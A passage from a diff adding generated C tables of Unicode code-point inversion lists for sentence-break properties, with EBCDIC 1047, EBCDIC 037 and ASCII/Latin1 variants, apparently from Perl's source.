+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CEB,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CF2,
+	0x2CF3,
+	0xA640,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA680,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA722,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA732,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA779,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA78B,
+	0xA78C,
+	0xA78D,
+	0xA78E,
+	0xA790,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA796,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7AF,
+	0xA7B0,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xFF21,
+	0xFF3B,
+	0x10400,
+	0x10428,
+	0x104B0,
+	0x104D4,
+	0x10C80,
+	0x10CB3,
+	0x118A0,
+	0x118C0,
+	0x1D400,
+	0x1D41A,
+	0x1D434,
+	0x1D44E,
+	0x1D468,
+	0x1D482,
+	0x1D49C,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4B6,
+	0x1D4D0,
+	0x1D4EA,
+	0x1D504,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D538,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D56C,
+	0x1D586,
+	0x1D5A0,
+	0x1D5BA,
+	0x1D5D4,
+	0x1D5EE,
+	0x1D608,
+	0x1D622,
+	0x1D63C,
+	0x1D656,
+	0x1D670,
+	0x1D68A,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6E2,
+	0x1D6FB,
+	0x1D71C,
+	0x1D735,
+	0x1D756,
+	0x1D76F,
+	0x1D790,
+	0x1D7A9,
+	0x1D7CA,
+	0x1D7CB,
+	0x1E900,
+	0x1E922,
+	0x1F130,
+	0x1F14A,
+	0x1F150,
+	0x1F16A,
+	0x1F170,
+	0x1F18A
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_SB__UP_invlist[] = { /* for EBCDIC 037 */
+	1285,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x62,
+	0x6A,
+	0x71,
+	0x79,
+	0x80,
+	0x81,
+	0x9E,
+	0x9F,
+	0xAC,
+	0xAF,
+	0xC1,
+	0xCA,
+	0xD1,
+	0xDA,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x139,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18E,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19C,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AA,
+	0x1AC,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BC,
+	0x1BD,
+	0x1C4,
+	0x1C6,
+	0x1C7,
+	0x1C9,
+	0x1CA,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F1,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x221,
+	0x222,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x23A,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x370,
+	0x371,
+	0x372,
+	0x373,
+	0x376,
+	0x377,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x390,
+	0x391,
+	0x3A2,
+	0x3A3,
+	0x3AC,
+	0x3CF,
+	0x3D0,
+	0x3D2,
+	0x3D5,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F4,
+	0x3F5,
+	0x3F7,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FD,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x48A,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x531,
+	0x557,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x13A0,
+	0x13F6,
+	0x1E00,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F18,
+	0x1F1E,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F48,
+	0x1F4E,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F88,
+	0x1F90,
+	0x1F98,
+	0x1FA0,
+	0x1FA8,
+	0x1FB0,
+	0x1FB8,
+	0x1FBD,
+	0x1FC8,
+	0x1FCD,
+	0x1FD8,
+	0x1FDC,
+	0x1FE8,
+	0x1FED,
+	0x1FF8,
+	0x1FFD,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210B,
+	0x210E,
+	0x2110,
+	0x2113,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x2130,
+	0x2134,
+	0x213E,
+	0x2140,
+	0x2145,
+	0x2146,
+	0x2160,
+	0x2170,
+	0x2183,
+	0x2184,
+	0x24B6,
+	0x24D0,
+	0x2C00,
+	0x2C2F,
+	0x2C60,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C71,
+	0x2C72,
+	0x2C73,
+	0x2C75,
+	0x2C76,
+	0x2C7E,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CEB,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CF2,
+	0x2CF3,
+	0xA640,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA680,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA722,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA732,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA779,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA78B,
+	0xA78C,
+	0xA78D,
+	0xA78E,
+	0xA790,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA796,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7AF,
+	0xA7B0,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xFF21,
+	0xFF3B,
+	0x10400,
+	0x10428,
+	0x104B0,
+	0x104D4,
+	0x10C80,
+	0x10CB3,
+	0x118A0,
+	0x118C0,
+	0x1D400,
+	0x1D41A,
+	0x1D434,
+	0x1D44E,
+	0x1D468,
+	0x1D482,
+	0x1D49C,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4B6,
+	0x1D4D0,
+	0x1D4EA,
+	0x1D504,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D538,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D56C,
+	0x1D586,
+	0x1D5A0,
+	0x1D5BA,
+	0x1D5D4,
+	0x1D5EE,
+	0x1D608,
+	0x1D622,
+	0x1D63C,
+	0x1D656,
+	0x1D670,
+	0x1D68A,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6E2,
+	0x1D6FB,
+	0x1D71C,
+	0x1D735,
+	0x1D756,
+	0x1D76F,
+	0x1D790,
+	0x1D7A9,
+	0x1D7CA,
+	0x1D7CB,
+	0x1E900,
+	0x1E922,
+	0x1F130,
+	0x1F14A,
+	0x1F150,
+	0x1F16A,
+	0x1F170,
+	0x1F18A
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_SB__XX_invlist[] = { /* for ASCII/Latin1 */
+	1523,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x9,
+	0xE,
+	0x20,
+	0x23,
+	0x27,
+	0x2A,
+	0x2C,
+	0x2F,
+	0x30,
+	0x3B,
+	0x3F,
+	0x40,
+	0x41,
+	0x5C,
+	0x5D,
+	0x5E,
+	0x61,
+	0x7C,
+	0x7D,
+	0x7E,
+	0x85,
+	0x86,
+	0xA0,
+	0xA1,
+	0xAA,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xB5,
+	0xB6,
+	0xBA,
+	0xBC,
+	0xC0,
+	0xD7,
+	0xD8,
+	0xF7,
+	0xF8,
+	0x2C2,
+	0x2C6,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EC,
+	0x2ED,
+	0x2EE,
+	0x2EF,
+	0x300,
+	0x375,
+	0x376,
+	0x378,
+	0x37A,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
